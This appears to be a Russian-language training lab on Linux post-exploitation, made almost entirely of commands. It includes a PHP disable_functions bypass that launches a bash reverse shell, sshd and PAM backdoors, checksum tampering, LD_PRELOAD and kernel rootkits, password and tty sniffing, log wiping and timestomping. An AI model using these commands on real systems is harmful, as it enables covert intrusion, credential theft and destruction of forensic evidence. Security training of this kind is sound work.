Лабораторная работа по пост-эксплуатации в Linux

Раздел 1: Обход защит для получения полноценного RCE: PHP

Последовательно настраивем защиты (используя права root, пароль - MySecretPass123):

```
# vim /etc/php/8.1/php.ini
disable_functions
=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifs
topped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsi
g,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatc
h,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,p
cntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_asyn
c_signals,pcntl_unshare,exec,passthru,system,shell_exec,popen,proc_open,pop
en,parse_ini_file,show_source,dl,setenv,proc_nice
open_basedir = /workshop/initial/www:/tmp
```

Перезапускаем PHP:

```
$ systemctl restart php8.1-fpm.service
```

Начинаем эксплуатацию уязвимости, подготовим скрипт с reverse shell в качестве полезной нагрузки:

```
#!/bin/bash
bash -i >& /dev/tcp/10.0.2.X/4444 0>&1
```

Выполним обход защиты:

```
$ git clone https://github.com/TarlogicSecurity/Chankro.git
$ python2.7 chankro.py --arch 64 --path /workshop/initial/www/bypass.php
--output bypass.php --input script.sh
```

Раздел 2: Закрепление доступа

Бэкдоры на основе модифицированного ПО

Подменим файл sshd на измененный и перезапустим сервис

```
# cp /usr/sbin/sshd sshd.orig
```

```
# rm /usr/sbin/sshd
# cp sshd /usr/sbin/sshd
# service sshd restart
```

Обход средств контроля целостности

Проверим целостность пакета

```
# debsums openssh-server
# dpkg -verify openssh-server
```

Получим md5 новой версии sshd

```
# md5sum /usr/sbin/sshd
```

Изменим файл с контрольными суммами

```
# vim /var/lib/dpkg/info/openssh-server.md5sums
```

Бэкдоры на основе PAM

Установим PAM-backdoor для более незаметного доступа в систему

Добавим библиотеку в набор pam-модулей и изменим конфигурацию

```
# vim /etc/pam.d/common-auth
# cp pam_bd.so /lib/x86_64-linux-gnu/security/
```

Раздел 4: Работа с руткитами

Руткиты в userland: перехват вызовов libc

Рассмотрим механизм LD_PRELOAD на примере preeny

```
# LD_PRELOAD=../src/derand.so ./rand
```

Используем rootkit libprocesshider для сокрытия процесса
Проверим корректность работы руткита:

```
# LD_PRELOAD=./libprocesshider.so ps aux | grep pyth
```

Для применения руткита ко всем процессам отредактируем ld.so.preload - добавим в него путь до библиотеки:

```
# vim /etc/ld.so.preload
# ps aux | grep python
```

Руткиты в ядре Linux

Используем rootkit для повышения прав процесса bash

```
# bash install_rootkit.sh
# echo -n 'g0tR0ot' > /dev/ttyR0
```

Раздел 5: Тактики пост-эксплуатации

Перехват паролей и ввода

Перехват паролей ssh/su с помощью 3snake

```
# 3snake
$ ssh -i /dev/null -p 10000 user@127.0.0.1
```

Перехват ввода в tty

```
# SSHpry
$ tty
$ python2.7 sshpry2.py --tty /dev/pts/4
```

Изменение системных журналов

Очистим бинарные логи с помощью log_cleaner

```
$ ./log_cleaner.py -u user -l 1 # utmp
$ ./log_cleaner.py -u user -l 2 # wtmp
$ ./log_cleaner.py -u user -l 3 --mode -t pts/4 -mtime "2023-03-01
08:15:13" -mip 192.168.0.1
```

Очистим лог веб-сервера с помощью редактора sed

```
$ sed -i '/shell\.php/d' /var/log/nginx/access.log
```

Изменение времени доступа к файлам

Изменим ctime и mtime средствами touch:

```
$ touch -am --date="2023-05-20 23:05:43.443117094 +0400" file.txt
```

Изменим ctime и crtime прямым доступом к диску:

```
$ touch /root/file.txt
$ debugfs -w -R 'set_inode_field /root/file.txt ctime 201001010101'
/dev/sda2
```

```
$ debugfs -w -R 'set_inode_field /root/file.txt crtime 201001010101'
/dev/sda2
$ echo 2 > /proc/sys/vm/drop_caches
```